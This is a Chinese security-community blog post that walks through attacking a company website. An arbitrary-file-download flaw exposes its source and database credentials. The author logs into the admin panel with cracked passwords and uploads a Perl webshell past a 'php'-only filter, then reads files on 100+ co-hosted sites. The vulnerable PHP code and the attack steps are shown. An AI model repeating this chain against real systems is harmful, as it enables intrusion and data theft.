某集团任意文件下载到虚拟主机getshell

本文原创作者:1975,

本文属i春秋原创奖励计划,未经许可禁止转载!


0x01 前言
  从某群的故事改编而来,都是些老套路各位看官看得高兴就好;第一次在i春秋发帖有点紧张,如果有什么不周到的地方请去打死阿甫哥哥。你没听错,阿甫哥哥推荐。

0x02 什么是任意文件下载

  说到文件下载各位童鞋都不陌生(老司机请跳过),我们要下载网站上某个文件(.zip、.doc、.pdf)直接请求这个文件即可格式一般为:域名+相对路径+文件名,如http://www.test.com/downlad/test.zip。而在网站上下载文件一般分为两种,一种就是刚才所说的直接请求某个文件,还有一种就是网站运营者提供了一个下载脚我们只需要请求:http://www.test.com/download.php?filename=test.zip(文件名)这样的url也可以下载文件。

  众所周知,我们请求一个网站上的脚本文件(这里以php为例)是不会被下载的,如:http://www.test.com/test.php。那任意文件下载是怎么造成的呢?这里就是上面说到的第二种情况了,网站运营者提供了http://www.test.com/download.php?filename=test.zip这样一个连接本意是想访问者下载test.zip文件,但是没有做好安全措施导致任意文件下载。
举个栗子:

  测试环境(phpstudy):windows7+php-5.5.38+apache

  一个任意文件下载脚本test.php,代码如下:

<?php

if(empty($_GET['filename'])){

        echo 'i春秋任意文件下载测试~'."<br>请输入需要下载的文件名";

}else{

        $filename = $_GET['filename'];

        $fileinfo = pathinfo($filename);

        header('Content-type: application/x-'.$fileinfo['extension']);

        header('Content-Disposition: attachment; filename='.$fileinfo['basename']);

        header('Content-Length: '.filesize($filename));

        readfile($filename);

        exit();

}

?>


  直接访问该文件,文件并没有被下载而是解析了其中的代码
130411gu5a88ajuspxuxeb.jpg

  在网站根目录下新建一个文件夹inc并新建一个名为ichunqiu.php的文件
130504yx9tyyi5mj00z10y.jpg

  现在来尝试下载该文件,访问:http://127.0.0.1/test/test.php?filename=/inc/ichunqiu.php成功下载该文件
130527hg6zlsl100sk3pgk.jpg

0x03 某集团任意文件下载

  之前挖某集团的漏洞时发现一个任意文件下载,两个思路:①下载源码审计-发现漏洞-利用;②下载数据库文件-如果支持外联-登录后台-尝试getshell,这里我选择了第二种。

  首先下载了index.php文件,代码如下:

<?

define('IN_W3CWEB',true);

require(dirname(__FILE__) . '/include/global.php');

@header("Content-type: text/html; charset=utf-8");

InitGP(array("action","do","gid","id"));

$smarty->assign("pagetag","about");

$smarty->assign("pagetitle","index");


$lng=isset($_GET['lng']) && $_GET['lng']=='en'?'en':'cn';


$sql="select * from $table_article where  channel='1'  and cat_id in(38,39) order by show_style desc,art_addtime desc limit 6 ";

if($array=$DB->GetAll($sql)){

        //print_r($row);

        $smarty->assign("article_index",$array);

}



//print_r($GLOBALS);

/*seo*/

$seo_title                        ="";

$seo_keywords                ="";

$seo_description        ="";

seo_print();

//print_r($_COOKIE);

$smarty->assign("action",$action);

$tpl="cn/index.html";

$smarty->display($tpl);

//print_r($GLOBALS);

?>



  第3行包含了/include/global.php文件,继续下载global.php文件在第31-32行代码发现包含了数据库连接文件,如下:

<?php

...

/* 加载基本配置信息文件 */

require(ROOT_PATH . 'data/config.php');

...

?>


  在config.php中找到数据库连接信息:

<?php

// database type

$db_type   = "mysqli";


// database host

$db_host   = "xx.xx.xx.com";


// database name

$db_name   = "dxxxm";


// database username

$db_user   = "dxxxm";


// database password

$db_pass   = 'cxxxp1xxx6';


$dsn1 = "$db_type://$db_user:$db_pass@$db_host/$db_name";

...

?>



  站库分离,百度site:xx.com“厦xxx有限公司”
130810kmeumbemvlnpepsm.jpg

  再访问下http://www.xxx.com/这个域名,通过扫描微信后基本确认“xx集团”主站的数据库是放在“xxx有限公司”的服务器上
130822c8fnrslnfc6avvrv.jpg
 

  继续,用navacat连接找到后台用户帐号密码:

用户名     密文         解密明文

axxxn        5xxx0

gxxxn        2xxxc        1xxxv
130858l857m5q8mttqvqd7.jpg
0x04 虚拟主机getshell
  接着用gxxxn/1xxxv成功登录某集团官网后台:http://www.xxx.com/manage.php
131007nd5wggwuff99sccc.jpg

  在已发布文章里找了一处可以上传图片的,简单测试了下phtml、php、php%20、php%00之类的后缀均不能绕过,只好只好下载相关文件看代码。

<?php

...

//pic

function upload_pic($uploaddir, $uploadname, $uploadtype){

        global $config;

        if($_FILES[$uploadname]["name"]){                       

                $dir_file=$uploaddir;

                if(!file_exists($dir_file)){

                        mkdir($dir_file , 0777);

                        chmod($dir_file,0777);

                }

                $filename=explode(".",$_FILES[$uploadname]['name']);       

                do{

                        $filename[0] = date('YmdHis').$uploadtype;

                        $uploadfile = $dir_file.implode(".",$filename);

                } while(file_exists($uploadfile));

        if(strpos($uploadfile,"php")>0){

            return 'no php';

        }

                copy($_FILES[$uploadname]['tmp_name'], $uploadfile);

        }

        return str_replace($config['siteRoot'], "", $uploadfile);

}

...

?>


  strpos($uploadfile,"php")只过滤了php文件,陷入困境又去官网翻了翻突然注意到一处404仔细一看” 2.0.9 Perl”还支持perl脚本?于是在后台找了一处上传图片的地方直接上传perl脚本,结果还真成功getshell地址:http://www.xxx.com/AxxxT/axxxe/2xxxo.pl 支持perl的站,又涨姿势了~
131055rb8vzogc8o6whkud.jpg

  查看日志文件发现大量网站记录:cat /var/www/73scan.log也可以直接看web命令:ls /var/www/vhosts
131135jlbmknyyetlemeel.jpg

  100+的网站,无意间getshell某公司的虚拟主机
131149akw1kxhez5ayzhe1.jpg

  任意读取一网站目录下的文件:cat /var/www/vhosts/0xxcom/httpdocs/index.php
131216ax1rr0p8utcucj88.jpg
 

  虽然当前权限不能修改和写入,但是可跨目录读文件而这些网站的数据库又支持外联,你懂的;

  本想试试脏牛提权,但怕给打死了就草草提交了

0x05 总结

① 精简下整个过程:任意文件下载-连接数据获得帐号密码-后台上传;

② 代码这块有点php基础都能看懂,学个十天半个月就成;

③ 细心吧,看到错误信息才想到支持perl脚本,不过一般也只有linux才会有;

更多安全技术、精品好文、白帽黑客大佬尽在:http://bbs.ichunqiu.com/portal.php

转载于:https://my.oschina.net/ichunqiu/blog/817980

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值